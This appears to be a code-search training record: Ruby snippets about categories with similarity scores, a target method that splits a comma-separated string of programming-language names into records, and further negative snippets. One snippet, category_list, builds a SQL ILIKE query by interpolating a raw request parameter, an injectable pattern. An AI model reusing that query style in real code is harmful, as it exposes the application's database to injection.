"def categorize(elt2category, unknown=nil)\n categories = Hash.new { |h,k| h[k] = [] }\n self.each do |elt|\n if elt2category.include? elt\n categories[elt2category[elt]] << elt \n elsif unknown\n categories[unknown] << elt\n end\n end\n categories\n end",
"def category_key_value_pairs\n categories.collect{|k,v| [k,v['sCategory']]} rescue []\n end",
"def category_names\n @category_names || categories.map(&:name).join(' ')\n end",
"def categories_validate(categories)\r\n categories = categories.split(',')\r\n user_message = \"\"\r\n cats_seen = []\r\n categories.each do |cat|\r\n cat.strip!\r\n next if cats_seen.include?(cat)\r\n cats_seen << cat\r\n user_message << \" Category '#{cat}' was too long.\" if cat.length > 25\r\n good_chars = [*'0'..'9', *'a'..'z', *'A'..'Z', '/', '-', '(', ')', '&',\r\n '#', '@', '+', '.', '?', '!'].join ' '\r\n word_chars = [*'0'..'9', *'a'..'z', *'A'..'Z'].join\r\n unless cat.split(//).all? {|char| good_chars.include?(char) }\r\n user_message << \" Category '#{cat}' had weird characters.\"\r\n end\r\n unless cat.split(//).any? {|char| word_chars.include?(char)}\r\n user_message << \" Category '#{cat}' lacks a letter or digit.\"\r\n end\r\n end\r\n return user_message unless user_message == \"\"\r\n return true\r\n end",
"def category_list\n\n query=params[:query]\n string_query=query.to_s\n\n if string_query.nil? || string_query.empty?\n the_list=ConceptCategory.all().order(:label)\n else\n the_list=ConceptCategory.all().where(\"label ILIKE '%#{string_query}%'\").order(:label)\n end\n\n final_list= Array.new\n the_list.each do |category|\n temp_hash= {:name => category.label, :value => category.id}\n final_list.push(temp_hash)\n end\n\n respond_to do |format|\n format.json {\n render json: {:success => true, :results => final_list }\n }\n end\n end",
"def categories=(value)\n @categories = value\n end",
"def categories=(value)\n @categories = value\n end",
"def categories=(value)\n @categories = value\n end",
"def handle_controlled_vocabulary(data, import)\n print \"Handling CV \"\n if import.metadata['controlled_vocabulary']\n print \"from database.\\n\"\n ControlledVocabularyTerm.all.each do |cv|\n data.keywords.merge!(cv.name => cv)\n end\n else\n print \"as newly parsed.\\n\"\n # from collecting_events\n PREDICATES.each do |p|\n data.keywords.merge!(p => Predicate.create(name: \"CollectingEvents:#{p}\", definition: \"The verbatim value imported in for #{p}.\") )\n end\n\n # from handle taxa\n data.keywords.merge!( \n 'Taxa:Synonyms' => Predicate.create(name: 'Taxa:Synonyms', definition: 'The verbatim value on import from Taxa#Synonyms.'),\n 'Taxa:References' => Predicate.create(name: 'Taxa:References', definition: 'The verbatim value on import Taxa#References.')\n )\n\n # from handle specimens\n data.keywords.merge!( \n 'AdultMale' => BiocurationClass.create(name: 'AdultMale', definition: 'The collection object is comprised of adult male(s).'), \n 'AdultFemale' => BiocurationClass.create(name: 'AdultFemale', definition: 'The collection object is comprised of adult female(s).'), \n 'Immature' => BiocurationClass.create(name: 'Immature', definition: 'The collection object is comprised of immature(s).'), \n 'Pupa' => BiocurationClass.create(name: 'Pupa', definition: 'The collection object is comprised of pupa.'), \n 'Exuvium' => BiocurationClass.create(name: 'Exuvia', definition: 'The collection object is comprised of exuvia.'),\n 'AdultUnsexed' => BiocurationClass.create(name: 'AdultUnsexed', definition: 'The collection object is comprised of adults, with sex undetermined.'), \n 'AgeUnknown' => BiocurationClass.create(name: 'AgeUnknown', definition: 'The collection object is comprised of individuals of indtermined age.'), \n 'OtherSpecimens' => BiocurationClass.create(name: 'OtherSpecimens', definition: 'The collection object that is asserted to be unclassified in any manner.'), \n 'ZeroTotal' => Keyword.create(name: 'ZeroTotal', definition: 'On import there were 0 total specimens recorded in the FM database.'),\n 'IdentifiedBy' => Predicate.create(name: 'IdentifiedBy', definition: 'The verbatim value in the identified by field.'),\n 'YearIdentified' => Predicate.create(name: 'YearIdentified', definition: 'The verbatim value in the year identified field.'),\n 'OldIdentifiedBy' => Predicate.create(name: 'OriginalIdentifiedBy', definition: 'Imported value: Old identified by.'),\n 'LocalityCode' => Predicate.create(name: 'LocalityCode', definition: 'Imported value: Locality Code.'),\n 'Country' => Predicate.create(name: 'Country', definition: 'Imported value: Country.'),\n 'State' => Predicate.create(name: 'State', definition: 'Imported value: State.'),\n 'County' => Predicate.create(name: 'County', definition: 'Imported value: County.'),\n 'Locality' => Predicate.create(name: 'Locality', definition: 'Imported value: Locality.'),\n 'Park' => Predicate.create(name: 'Park', definition: 'Imported value: Park.'),\n 'BodyOfWater' => Predicate.create(name: 'BodyOfWater', definition: 'The verbatim value in the Body Of Water.'),\n 'DrainageBasinLesser' => Predicate.create(name: 'DrainageBasinLesser', definition: 'The verbatim value in the Drainage Basin Lesser.'),\n 'DrainageBasinGreater' => Predicate.create(name: 'DrainageBasinGreater', definition: 'The verbatim value in the Drainage Basin Greater.'),\n 'StreamSize' => Predicate.create(name: 'StreamSize', definition: 'The verbatim value in the StreamSize.'),\n 'INDrainage' => Predicate.create(name: 'INDrainage', definition: 'The verbatim value in the INDrainage.'),\n 'WisconsinGlaciated' => Predicate.create(name: 'WisconsinGlaciated', definition: 'The verbatim value in the Wisconsin Glaciated.'),\n 'OldLocalityCode' => Predicate.create(name: 'OldLocalityCode', definition: 'Imported value: Old Locality Code.'),\n 'Host' => Predicate.create(name: 'Host', definition: 'The verbatim value in the Host.'),\n )\n\n import.metadata['controlled_vocabulary'] = true\n end\n end",
"def get_all_category_words\n rows = Category.find_by(name: self.chosen_category_name).translations\n rows.map {|row| \"#{row.english} => #{row.send(self.chosen_language_name.downcase)}\"}\n end",
"def categories\n categories = []\n @deck.cards.map do |turn|\n categories << turn.category\n end\n categories.uniq!\n end",
"def find_categories\n page = agent.get(WEBSITE_URL)\n\n page.search(CATEGORIES_SELECTOR).each do |a|\n category_name = a.text.strip\n path = a.attribute('href').value.strip\n\n next if category_name.blank? || path.blank?\n\n data[category_name] = {\n 'url' => URI.join(WEBSITE_URL, path).to_s\n }\n end\n\n Helpers.wait\n end",
"def categories(metrics)\n cats = Set.new\n metrics.keys.each do |meta|\n next if meta.scope.nil? # ignore controller\n if match=meta.metric_name.match(/\\A([\\w|\\d]+)\\//)\n cats << match[1]\n end\n end # metrics.each\n cats\n end",
"def get_categories(row)\n categories = []\n cat = at_in(:category1 , row) # should invent some loop here\n categories << cat if cat\n cat = at_in(:category2 , row) # but we only support\n categories << cat if cat\n cat = at_in(:category3 , row) # three levels, so there you go\n categories << cat if cat\n categories\n end",
"def category categories\n categories = categories.to_a if !categories.is_a? Array\n categories.collect { |i| calendars.find_by_title i.to_s }.compact\n end",
"def categories=(value)\n\t\t@categories = value\n\tend",
"def categories=(value)\n\t\t@categories = value\n\tend",
"def categories=(value)\n\t\t@categories = value\n\tend",
"def categories_as_string= (new_categories)\n categories.clear\n new_categories.split(/\\s*,\\s*/).each do |title|\n cat = Category.where('LOWER(title) = ?', title.downcase).first\n categories << cat if !cat.nil?\n end\n end"
] |
[
"0.64344484",
"0.63578373",
"0.62762845",
"0.6022241",
"0.5952684",
"0.58816195",
"0.5880453",
"0.58390874",
"0.581576",
"0.5803598",
"0.57045627",
"0.56885934",
"0.5664371",
"0.560471",
"0.5588805",
"0.5537497",
"0.55332404",
"0.553303",
"0.5487114",
"0.5484641",
"0.5481546",
"0.54753274",
"0.54728675",
"0.54545087",
"0.544783",
"0.5446925",
"0.542887",
"0.5424584",
"0.5420177",
"0.5416324",
"0.5413972",
"0.54124534",
"0.539899",
"0.5395267",
"0.53952235",
"0.5393246",
"0.53927416",
"0.5380614",
"0.5364528",
"0.5363344",
"0.53631014",
"0.5358589",
"0.5348162",
"0.5344295",
"0.5343542",
"0.53305334",
"0.53227955",
"0.5322182",
"0.53199214",
"0.531923",
"0.531738",
"0.53122354",
"0.529886",
"0.52893496",
"0.5284759",
"0.52741396",
"0.5270792",
"0.52653664",
"0.52572227",
"0.5251743",
"0.52486104",
"0.5238445",
"0.52318484",
"0.5230566",
"0.5223411",
"0.52229434",
"0.5220463",
"0.52166575",
"0.52154815",
"0.5212619",
"0.5206654",
"0.5195768",
"0.5192151",
"0.5191326",
"0.5183679",
"0.5175564",
"0.5174027",
"0.5140855",
"0.5122503",
"0.5120909",
"0.5114835",
"0.50980264",
"0.5095011",
"0.50935334",
"0.50929886",
"0.5090219",
"0.5088727",
"0.5088727",
"0.5088727",
"0.5084679",
"0.5083708",
"0.50788575",
"0.5075081",
"0.5066759",
"0.50610596",
"0.50587475",
"0.50544995",
"0.50544995",
"0.50544995",
"0.50542605"
] |
0.58182085
|
8
|
Parses the textbox list of proglangs from "c++,python" etc. to an enumerable object proglangs
|
def handle_proglangs(proglang_names)
return if !self.undergrad? || proglang_names.nil?
self.proglangs = [] # eliminates any previous proficiencies so as to avoid duplicates
proglang_array = []
proglang_array = proglang_names.split(',').uniq if proglang_names
proglang_array.each do |pl|
self.proglangs << Proglang.find_or_create_by(name: pl.upcase.strip)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def make_command_list\n @list = SES::ExternalText::Languages\n end",
"def index\n words = params[:q] && Shellwords.split(params[:q]).map(&:squish)\n if words.present?\n @with = words.reject{|word| word.first == '-'}\n @without = words.select{|word| word.first == '-'}.map do |word|\n word[1..-1]\n end\n @programming_languages =\n ProgrammingLanguage.with(@with).without(@without)\n else\n @programming_languages = ProgrammingLanguage.ordered\n end\n end",
"def getlist\r\n result = SUPPORTED_LANG_LIST\r\n end",
"def list_lang\n call! :list_lang\n end",
"def parse(program)\n return read_the_tokens(tokenize(program))\nend",
"def languages(candidate)\n candidate[:languages].include?('Python') ||\n candidate[:languages].include?('Ruby')\nend",
"def get_choices\n begin\n choices = case \n when @yaml['choices'] then @yaml['choices']\n when @yaml['eval'] then\n do_eval(@yaml['eval'])\n else \n c = t('helpers.label.' + @form['table'] + '.choices4_' + @yaml['name'] )\n c = 'Error' if c.match( 'translation missing' )\n c\n end\n # Convert string to Array\n choices.class == String ?\n choices.chomp.split(',').inject([]) {|r,v| r << (v.match(':') ? v.split(':') : v )} :\n choices\n rescue Exception => e \n Rails.logger.debug \"Error in select eval. #{e.message}\\n\"\n ['error'] # return empty array when error occures\n end\nend",
"def read_languages_from_file(data_file)\n File.open(data_file, 'rb') do |fin|\n until fin.eof\n label, outputs = Marshal.load(fin)\n yield label, outputs\n end\n end\nend",
"def language_interpreter\n # Do not show this block in CYA if the user didn't yet reach this step\n # (we know because the array will be `nil` in that case).\n return [] if arrangement.language_options.nil?\n\n AnswersGroup.new(\n :language_interpreter,\n [\n Answer.new(\n :language_interpreter,\n arrangement.language_options.include?(LanguageHelp::LANGUAGE_INTERPRETER.to_s).to_s\n ),\n FreeTextAnswer.new(:language_interpreter_details, arrangement.language_interpreter_details),\n Answer.new(\n :sign_language_interpreter,\n arrangement.language_options.include?(LanguageHelp::SIGN_LANGUAGE_INTERPRETER.to_s).to_s\n ),\n FreeTextAnswer.new(:sign_language_interpreter_details, arrangement.sign_language_interpreter_details),\n Answer.new(\n :welsh_language,\n arrangement.language_options.include?(LanguageHelp::WELSH_LANGUAGE.to_s).to_s\n ),\n FreeTextAnswer.new(:welsh_language_details, arrangement.welsh_language_details),\n ],\n change_path: edit_steps_attending_court_language_path\n )\n end",
"def languages\n ['HTML', 'Javascript', 'CSS', 'PHP', 'ERB', 'Ruby', 'Objective-C']\n end",
"def index\n context = SearchProgrammingLanguages.call(search_string: index_params[:search])\n @programming_languages = context.result\n end",
"def all\n @raw.map { |l| l['language'] }\n end",
"def editors\n to_array search_by_text 'монтаж'\n end",
"def language_menu\n puts \"\\nPlease select the appropriate keyboard layout!\"\n print \"\n \\n1) us \\\n \\n2) be \\\n \\n3) it \\\n \\n4) dk \\\n \\n5) es \\\n \\n6) uk \\\n \\n7) sv \\\n \\n8) ru \\\n \\n9) pt \\\n \\n10) de \\\n \\n11) no \\\n \\n12) fr\\n\"\n Readline.readline('> ', true)\n end",
"def languages\n array = []\n details.css(\"div.txt-block a[href^='/language/']\").each do |node|\n array << {:code => node['href'].clean_href, :name => node.text.strip}\n end\n\n array\n end",
"def languages\n return [:en] unless abstract_form_valid?\n l = questions.collect { |q| (q.qtext.is_a?(Hash) ? q.qtext.keys : nil) }.flatten.compact.uniq\n (l.nil? || l.empty?) ? [:en] : l\n end",
"def display_all_languages\n # Interface method\n end",
"def ask_classes\n format=\"rdoc\"\n str = get_string_with_history(\"Enter a class name: \")\n if str && str != \"\"\n #lines = `ri -f #{format} #{str}`.split(\"\\n\")\n lines = get_data str\n if lines.size == 0\n alert \"Nothing came through for #{str}\"\n ## Nothing returned, lets see if we can match something from the class list\n li = @form.by_name[\"mylist\"]; \n values = li.list\n values = values.grep(/^#{str}/i)\n if values.size > 0\n ix = popuplist(values)\n if ix\n str = values[ix]\n #lines = `ri -f #{format} #{str}`.split(\"\\n\")\n lines = get_data str\n end\n else\n alert \"Nothing came through for #{str}\"\n $message.value = \"Nothing came through for #{str}\"\n end\n elsif lines.first.index(\".#{str} not found\")\n ## we are returned something with some choices, lets prompt user with choices\n lines.shift\n lines.shift\n ix = popuplist(lines)\n if ix\n str = lines[ix]\n #lines = `ri -f #{format} #{str}`.split(\"\\n\")\n lines = get_data str\n end\n end\n return if lines.size == 0\n w = @form.by_name[\"tv\"]; \n w.add_content(lines, :content_type => :ansi, :title => str)\n #w.add_content(lines, :title => str)\n w.buffer_last\n set_focus_on str\n end\nend",
"def initialize programa\n\t\t@tk = []\n\t\t@error = []\n\t\t@parserTk = []\n\t\tlexer(programa)\n\tend",
"def list\n @list ||= Vidibus::Words.words(input)\n end",
"def parse_lang_file\n # Open .lang file and parse it, then copy \n # its full grammatical expression.\n File.open(@lang_file, \"r:UTF-8\") do |file|\n lines_count = 1\n current = :none\n\n # Evaluating lines\n while (line = file.gets)\n # Parsing .lang file\n case line\n when /(^\\s*$)|(^\\s*#.*$)/\n # Ignore blank lines or comments\n \n when /^\\s*symbols\\s*for\\s*(\\w*)?\\s*(\\w+)\\s*:\\s*(#.*)?$/\n # Create new symbol set\n captured = line.scan(/\\s*(\\w+)\\s*:/)\n current_binding = captured[0][0]\n @bindings[current_binding] = ConlangWordGenerator::SymbolSet.new\n current = :symbols\n\n when /^\\s*expression\\s*:\\s*(#.*)?$/\n # Start of grammatical expression\n current = :expression\n\n when /^\\s*replacements\\s*:\\s*(#.*)?$/\n # Start of list of replacements\n current = :replacements\n\n when /^\\s*(\\S+)\\s*[:=]\\s*(\\S+)\\s*(#.*)?$/\n # Add bindings\n case current\n when :symbols\n #Add a symbol to the current SymbolSet's binding\n @bindings[current_binding].add_pair($1, $2.to_i)\n when :replacements\n @replacements[$1] = $2\n else\n raise LangSyntaxError, \"Runtime error when evaluating \" +\n \"\\\"#{@lang_file}\\\" at binding line #{lines_count}.\"\n end\n else\n if current == :expression\n # Copying expression\n @full_expression += line.strip\n else\n raise LangSyntaxError, \"Runtime error when evaluating \" +\n \"\\\"#{@lang_file}\\\" at line #{lines_count}.\"\n end\n end\n\n #Counting lines\n lines_count += 1\n end\n end\n end",
"def extract_code_language!(attr); end",
"def extract_code_language(attr); end",
"def number_of_programming_languages(text_array)\n resume_as_array = resume_to_array(text_array)\n result = 0\n @programming_languages.each do |p|\n if resume_as_array.include?(p)\n result += 1\n end\n end\n return result\nend",
"def languages\n result = []\n @mods_ng_xml.language.each { |n|\n # get languageTerm codes and add their translations to the result\n n.code_term.each { |ct|\n if ct.authority.match(/^iso639/)\n begin\n vals = ct.text.split(/[,|\\ ]/).reject {|x| x.strip.length == 0 }\n vals.each do |v|\n result << ISO_639.find(v.strip).english_name\n end\n rescue => e\n p \"Couldn't find english name for #{ct.text}\"\n result << ct.text\n end\n else\n result << ct.text\n end\n }\n # add languageTerm text values\n n.text_term.each { |tt|\n val = tt.text.strip\n result << val if val.length > 0\n }\n\n # add language values that aren't in languageTerm subelement\n if n.languageTerm.size == 0\n result << n.text\n end\n }\n result.uniq\n end",
"def lang=(_arg0); end",
"def lang=(_arg0); end",
"def program(tokens, types, i)\n @program = Prog.new()\n x = @program.ParseProg(tokens, types, i)\n @program.PrintProg\n end",
"def languages\n @xml.xpath('//language').map do |lang|\n lang.text.to_s.gsub(/\\.|\\,/,'').strip.capitalize.gsub(\"Finding aid written in english\", \"English\")\n end.uniq\n end",
"def interactive_parser ( )\n puts 'Press <Enter> to exit...'\n #\n # Цикл обработки ввода.\n loop {\n\tstr = interactive_input( )\n\tbreak if str == \"\"\n\t#\n\t# Цикл посимвольной классификаци.\n\tstr.bytes.each do |c|\n\t parse( c.chr )\n\t puts 'parser: ' + @parserstate\n\t puts 'symbol: ' + interactive_output( c.chr ).to_s\n\t puts 'buffer: ' + @buffer.to_s\n\t puts 'state: ' + @chain.last.statename\n\t puts\n\tend\n }\n end",
"def parse_list; end",
"def parse_list; end",
"def r(words)\n return @lang.input(words)\n end",
"def match_multiple(language)\n case language\n in \"C\" | \"C++\" | \"Elm\" | \"Go\" | \"Kotlin\" | \"Rust\" | \"Swift\"\n puts \"#{language} is a statically typed language\"\n in \"Perl\" | \"JavaScript\" | \"Ruby\" | \"Lua\"\n puts \"#{language} is a dynamic language\"\n end\nend",
"def get_choices\n begin\n choices = case\n when @yaml['eval'] then\n choices_in_eval(@yaml['eval'])\n when @yaml['choices'] then\n @yaml['choices'].match('helpers.') ? choices_in_helper(@yaml['choices']) : @yaml['choices']\n else\n choices_in_helper()\n end\n return choices unless choices.class == String\n\n choices.chomp.split(',').map { |e| e.match(':') ? e.split(':') : e }\n rescue Exception => e\n Rails.logger.error \"\\nError in select eval. #{e.message}\\n\"\n Rails.logger.debug(e.backtrace.join($/)) if Rails.env.development?\n ['error'] # return empty array when error occures\n end\nend",
"def parse(text)\n text.split(/(<code.*?>.*?<\\/code>)/m).inject(\"\") do |result, piece|\n if piece =~ /^<code/\n result << highlight(piece.gsub(/<code.*?>|<\\/code>/, \"\"), parse_lang(piece)).chomp\n else\n result << format(piece)\n end\n end\n end",
"def set_lang()\n lang = nil\n loop do\n puts \"Sprichst du Deutsch (DE)? Or do you speak English (EN)?\"\n lang = gets.chomp.downcase\n if lang.start_with?('e')\n lang = 'eng'\n break\n end\n if lang.start_with?('d')\n lang = 'de'\n break\n end\n puts \"\\nBad Input.\\n\"\n end\n\n messages = MESSAGES[lang].values\n LOCMESS.each_key { |key| LOCMESS[key] = messages.shift } \nend",
"def testnumberedmenu\n list1 = %w{ ruby perl python erlang rake java lisp scheme chicken }\n list1[0] = %w{ ruby ruby1.9 ruby1.8.x jruby rubinius ROR }\n list1[5] = %w{ java groovy grails }\n str = numbered_menu list1, { :title => \"Languages: \", :prompt => \"Select :\" }\n $log.debug \"17 We got #{str.class} \"\n message \"We got #{str} \"\nend",
"def kaf_elements(input)\n document = Nokogiri::XML(input)\n language = document.at('KAF').attr('xml:lang')\n text = document.at('raw').text\n\n return language, text\n end",
"def select_languages_native\n available_languages.map{ |x| known_languages.assoc(x)}.map{ |y| [y[1],y[0]]}.sort!\n end",
"def set_win_lang_codes(lcode)\n lcode[0x0436] = 'af;Afrikaans'\n lcode[0x041C] = 'sq;Albanian'\n lcode[0x0001] = 'ar;Arabic'\n lcode[0x0401] = 'ar-sa;Arabic (Saudi Arabia)'\n lcode[0x0801] = 'ar-iq;Arabic (Iraq)'\n lcode[0x0C01] = 'ar-eg;Arabic (Egypt)'\n lcode[0x1001] = 'ar-ly;Arabic (Libya)'\n lcode[0x1401] = 'ar-dz;Arabic (Algeria)'\n lcode[0x1801] = 'ar-ma;Arabic (Morocco)'\n lcode[0x1C01] = 'ar-tn;Arabic (Tunisia)'\n lcode[0x2001] = 'ar-om;Arabic (Oman)'\n lcode[0x2401] = 'ar-ye;Arabic (Yemen)'\n lcode[0x2801] = 'ar-sy;Arabic (Syria)'\n lcode[0x2C01] = 'ar-jo;Arabic (Jordan)'\n lcode[0x3001] = 'ar-lb;Arabic (Lebanon)'\n lcode[0x3401] = 'ar-kw;Arabic (Kuwait)'\n lcode[0x3801] = 'ar-ae;Arabic (you.A.E.)'\n lcode[0x3C01] = 'ar-bh;Arabic (Bahrain)'\n lcode[0x4001] = 'ar-qa;Arabic (Qatar)'\n lcode[0x042D] = 'eu;Basque'\n lcode[0x0402] = 'bg;Bulgarian'\n lcode[0x0423] = 'be;Belarusian'\n lcode[0x0403] = 'ca;Catalan'\n lcode[0x0004] = 'zh;Chinese'\n lcode[0x0404] = 'zh-tw;Chinese (Taiwan)'\n lcode[0x0804] = 'zh-cn;Chinese (China)'\n lcode[0x0C04] = 'zh-hk;Chinese (Hong Kong SAR)'\n lcode[0x1004] = 'zh-sg;Chinese (Singapore)'\n lcode[0x041A] = 'hr;Croatian'\n lcode[0x0405] = 'cs;Czech'\n lcode[0x0406] = 'da;Danish' #changed from \"the\"\n lcode[0x0413] = 'nl;Dutch (Netherlands)'\n lcode[0x0813] = 'nl-be;Dutch (Belgium)'\n lcode[0x0009] = 'en;English'\n lcode[0x0409] = 'en-us;English (United States)'\n lcode[0x0809] = 'en-gb;English (United Kingdom)'\n lcode[0x0C09] = 'en-au;English (Australia)'\n lcode[0x1009] = 'en-ca;English (Canada)'\n lcode[0x1409] = 'en-nz;English (New Zealand)'\n lcode[0x1809] = 'en-ie;English (Ireland)'\n lcode[0x1C09] = 'en-za;English (South Africa)'\n lcode[0x2009] = 'en-jm;English (Jamaica)'\n lcode[0x2809] = 'en-bz;English (Belize)'\n lcode[0x2C09] = 'en-tt;English (Trinidad)'\n lcode[0x0425] = 'et;Estonian'\n lcode[0x0438] = 'fo;Faeroese'\n lcode[0x0429] = 'fa;Farsi'\n lcode[0x040B] = 'fi;Finnish'\n lcode[0x040C] = 'fr;French (France)'\n lcode[0x080C] = 'fr-be;French (Belgium)'\n lcode[0x0C0C] = 'fr-ca;French (Canada)'\n lcode[0x100C] = 'fr-ch;French (Switzerland)'\n lcode[0x140C] = 'fr-lu;French (Luxembourg)'\n lcode[0x043C] = 'gd;Gaelic'\n lcode[0x0407] = 'de;German (Germany)'\n lcode[0x0807] = 'de-ch;German (Switzerland)'\n lcode[0x0C07] = 'de-at;German (Austria)'\n lcode[0x1007] = 'de-lu;German (Luxembourg)'\n lcode[0x1407] = 'de-li;German (Liechtenstein)'\n lcode[0x0408] = 'el;Greek'\n lcode[0x040D] = 'he;Hebrew'\n lcode[0x0439] = 'hi;Hindi'\n lcode[0x040E] = 'hu;Hungarian'\n lcode[0x040F] = 'is;Icelandic'\n lcode[0x0421] = 'in;Indonesian'\n lcode[0x0410] = 'it;Italian (Italy)'\n lcode[0x0810] = 'it-ch;Italian (Switzerland)'\n lcode[0x0411] = 'ja;Japanese'\n lcode[0x0412] = 'ko;Korean'\n lcode[0x0426] = 'lv;Latvian'\n lcode[0x0427] = 'lt;Lithuanian'\n lcode[0x042F] = 'mk;FYRO Macedonian'\n lcode[0x043E] = 'ms;Malay (Malaysia)'\n lcode[0x043A] = 'mt;Maltese'\n lcode[0x0414] = 'no;Norwegian (Bokmal)'\n lcode[0x0814] = 'no;Norwegian (Nynorsk)'\n lcode[0x0415] = 'pl;Polish'\n lcode[0x0416] = 'pt-br;Portuguese (Brazil)'\n lcode[0x0816] = 'pt;Portuguese (Portugal)'\n lcode[0x0417] = 'rm;Rhaeto-Romanic'\n lcode[0x0418] = 'ro;Romanian'\n lcode[0x0818] = 'ro-mo;Romanian (Moldova)'\n lcode[0x0419] = 'ru;Russian'\n lcode[0x0819] = 'ru-mo;Russian (Moldova)'\n lcode[0x0C1A] = 'sr;Serbian (Cyrillic)'\n lcode[0x081A] = 'sr;Serbian (Latin)'\n lcode[0x041B] = 'sk;Slovak'\n lcode[0x0424] = 'sl;Slovenian'\n lcode[0x042E] = 'sb;Sorbian'\n lcode[0x040A] = 'es;Spanish (Traditional Sort)'\n lcode[0x080A] = 'es-mx;Spanish (Mexico)'\n lcode[0x0C0A] = 'es;Spanish (International Sort)'\n lcode[0x100A] = 'es-gt;Spanish (Guatemala)'\n lcode[0x140A] = 'es-cr;Spanish (Costa Rica)'\n lcode[0x180A] = 'es-pa;Spanish (Panama)'\n lcode[0x1C0A] = 'es-do;Spanish (Dominican Republic)'\n lcode[0x200A] = 'es-ve;Spanish (Venezuela)'\n lcode[0x240A] = 'es-co;Spanish (Colombia)'\n lcode[0x280A] = 'es-pe;Spanish (Peru)'\n lcode[0x2C0A] = 'es-ar;Spanish (Argentina)'\n lcode[0x300A] = 'es-ec;Spanish (Ecuador)'\n lcode[0x340A] = 'es-cl;Spanish (Chile)'\n lcode[0x380A] = 'es-uy;Spanish (Uruguay)'\n lcode[0x3C0A] = 'es-py;Spanish (Paraguay)'\n lcode[0x400A] = 'es-bo;Spanish (Bolivia)'\n lcode[0x440A] = 'es-sv;Spanish (El Salvador)'\n lcode[0x480A] = 'es-hn;Spanish (Honduras)'\n lcode[0x4C0A] = 'es-ni;Spanish (Nicaragua)'\n lcode[0x500A] = 'es-pr;Spanish (Puerto Rico)'\n lcode[0x0430] = 'sx;Sutu'\n lcode[0x041D] = 'sv;Swedish'\n lcode[0x081D] = 'sv-fi;Swedish (Finland)'\n lcode[0x041E] = 'th;Thai'\n lcode[0x0431] = 'ts;Tsonga'\n lcode[0x0432] = 'tn;Tswana'\n lcode[0x041F] = 'tr;Turkish'\n lcode[0x0422] = 'uk;Ukrainian'\n lcode[0x0420] = 'ur;Urdu' #changed from \"your\"\n lcode[0x042A] = 'vi;Vietnamese'\n lcode[0x0434] = 'xh;Xhosa'\n lcode[0x043D] = 'ji;Yiddish'\n lcode[0x0435] = 'zu;Zulu'\nend",
"def get_language_list\n call :get_language_list\n end",
"def parse_vocabulary1\n json = File.read(VOCABULARY_FILE)\n object = JSON.parse(json)\n result = []\n (1..6).each do |i|\n result.push(object[\"LEVEL#{i}\"][\"words\"])\n end\n result\n end",
"def languages\n translations.map(&:language)\n end",
"def select_languages_localized\n available_languages.map{ |x| known_languages.assoc(x)}.map{ |y| [y[2],y[0]]}.sort!\n end",
"def load_words\n File.readlines(\"#{WORD_DIR}/#{language}.txt\").map(&:strip)\n end",
"def lang(orig); end",
"def find_modules(text)\n modules = []\n\n KEYWORDS.each do |keyword|\n modules << text.select{|x| x.start_with? \"#{keyword} \"}\n end\n\n return modules.flatten!\nend",
"def parseInput(theText)\n\n\treturn theText.chars.map(&:to_i);\n\nend",
"def compile_all(individual_resume_text)\n result = {}\n result[:university_rank] = get_university_rank(individual_resume_text)\n result[:masters] = has_masters(individual_resume_text)\n result[:doctorate] = has_phd(individual_resume_text)\n result[:relevant_role] = has_relevant_role(individual_resume_text)\n result[:stats_skills] = number_of_stats_skillz(individual_resume_text)\n result[:certifications] = number_of_certifications(individual_resume_text)\n result[:honors] = number_of_honors(individual_resume_text)\n result[:awards] = number_of_awards(individual_resume_text)\n result[:gpa] = get_gpa(individual_resume_text)\n result[:programming_languages] = number_of_programming_languages(individual_resume_text)\n return result\nend",
"def languages\n return [] if @grpc.property.nil?\n @languages ||= Array(@grpc.property.detected_languages).map do |l|\n Language.from_grpc l\n end\n end",
"def list_choices\n state_names = []\n @states.each do |state|\n state_names << state.name\n end\n\n prompt = TTY::Prompt.new\n @user_selection = prompt.enum_select(\"Select a state by it's number\", state_names)\n end",
"def languages\n value.document.fetch(\"#{value.key}_lang\", [])\n end",
"def parse\r\n @words = @line.split\r\n\r\n @invalid_words = []\r\n @words.each do |word|\r\n w = word.gsub(/([\\+\\.,*\\'\\\";:\\(\\)`\\[\\]?!#])*/,'')\r\n w = w.gsub('<', '')\r\n w = w.gsub('>', '')\r\n next if w == ''\r\n next if w.include?(\"`\") or w.include?(\"'\") or w.include?(\"/\")\r\n next if w.to_i.to_s == w # ignore integers\r\n next if is_white?(w)\r\n\r\n # process < and >\r\n if !(word.include? '<' or word.include? '>')\r\n next if w.start_with? \"http\"\r\n next if w.include? '-'\r\n next if w.downcase.start_with? 'todo'\r\n end\r\n\r\n\r\n if !$speller.correct? w\r\n @invalid_words.push w\r\n if ENV['HTML']\r\n @colorize_line = @colorize_line.gsub(word, \"<span style='color: red;font-weight: bold;'>#{word}</span>\")\r\n else\r\n @colorize_line = @colorize_line.gsub(word, \"\\e[31m#{word}\\e[0m\")\r\n end\r\n end # speller.correct\r\n\r\n end # end for each word\r\n @invalid_words.count !=0\r\n end",
"def scanner(lang, options = T.unsafe(nil), &block); end",
"def getLangs\r\n result = self.class.get '/getLangs', { query:{ key:@@api_key } }\r\n check_result result\r\n end",
"def enums\n if @enums.nil?\n re = /\\benum\\b\\s*(\\w+\\s+)?\\{([^}]*)\\}/\n @enums = {}\n @cpp_result.scan(re).each do |m|\n m[1].split(',').map do |i|\n name, val = i.split('=', 2).map { |x| x.strip }\n @enums[name] = val unless name.empty? or name[0] == ?#\n end\n end\n end\n @enums\n end",
"def languages\n document.search(\"h5[text()='Language:'] ~ a[@href*=/language/']\").map { |link| link.innerHTML.strip.imdb_unescape_html } rescue []\n end",
"def lex_en_interp_words; end",
"def lex_en_interp_words; end",
"def lex_en_interp_words; end",
"def getcodes\r\n result = SUPPORTED_LANG_CODES\r\n end",
